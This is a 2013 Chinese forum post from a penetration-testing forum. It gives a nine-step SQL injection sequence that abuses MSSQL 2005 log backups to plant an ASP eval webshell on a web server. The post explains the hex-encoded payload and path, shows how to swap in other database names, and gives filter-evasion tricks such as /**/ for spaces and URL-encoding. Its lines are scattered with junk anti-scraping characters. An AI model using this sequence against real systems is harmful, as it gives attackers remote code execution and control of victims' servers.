中国网络渗透测试联盟

标题: mssql2005 DB权限导出一句话 [打印本页]

作者: admin    时间: 2013-7-16 20:32
标题: mssql2005 DB权限导出一句话
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。 3 N# |3 j0 T9 c+ o9 ^
* @! `7 u- I/ A% M* i% q4 O

& T5 P" l" |* m' ?! x$ \9 ~后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。
3 i9 ~& T0 B' \1 S8 y9 } - S3 j. Z: n+ \$ g* x
第一步
0 \9 ?- W9 j, C  h. T;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full-- , T7 Z3 p  m2 p% g  x: ^- m& `- v
5 \8 f) D9 R$ K/ f+ A7 D
第二步:
- }+ D- \7 h4 q2 h) k# F;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- " o( z% V5 N* ^3 k. [, f# z
' u, o- r: H4 H5 I
第三步 : u9 s. W8 b! F4 K# ^8 d) a
;drop/**/table/**/[itpro]-- - [" h. R0 j- S
% F% v1 v2 \8 U5 M) M3 N
第四步 6 T+ g) w" ]. _  C' q
;create/**/table/**/[itpro]([a]/**/image)-- + X( u5 u- A7 j! E/ e' s' O# D
8 K/ ^) y: Q( K7 Q' w0 M" y
第五步 9 M* d1 g: e1 W! y- ?' e% r
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- 2 O7 k2 T* ?7 l& K( N1 V* `6 Q9 _

+ e+ I: ~2 Q9 P, v8 s* F' t- K第六步 5 \! b0 i& \, `" C
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
& f* z! T2 r* H1 P" J # J7 G5 E2 X; y$ \& I0 E
第七步 / g5 d$ b. ?, V/ U
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- ; ]& q1 i* H& @9 |& ^( V7 E: Y
/ ?4 H" p" N& w9 q, U; G
第八步
  Z' o  P6 s- B4 W# I6 I, S  `;drop/**/table/**/[itpro]--
/ E3 x  C* Y! L0 F3 L3 G: U
2 S% _& _# W+ W' ~& z+ f: ]第九步 3 V, I; z# c: D
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
* C( K5 j% J6 j ( Z' v6 ?: C& W+ }
其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。) M! \9 {: C) L, K; K4 J$ K





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2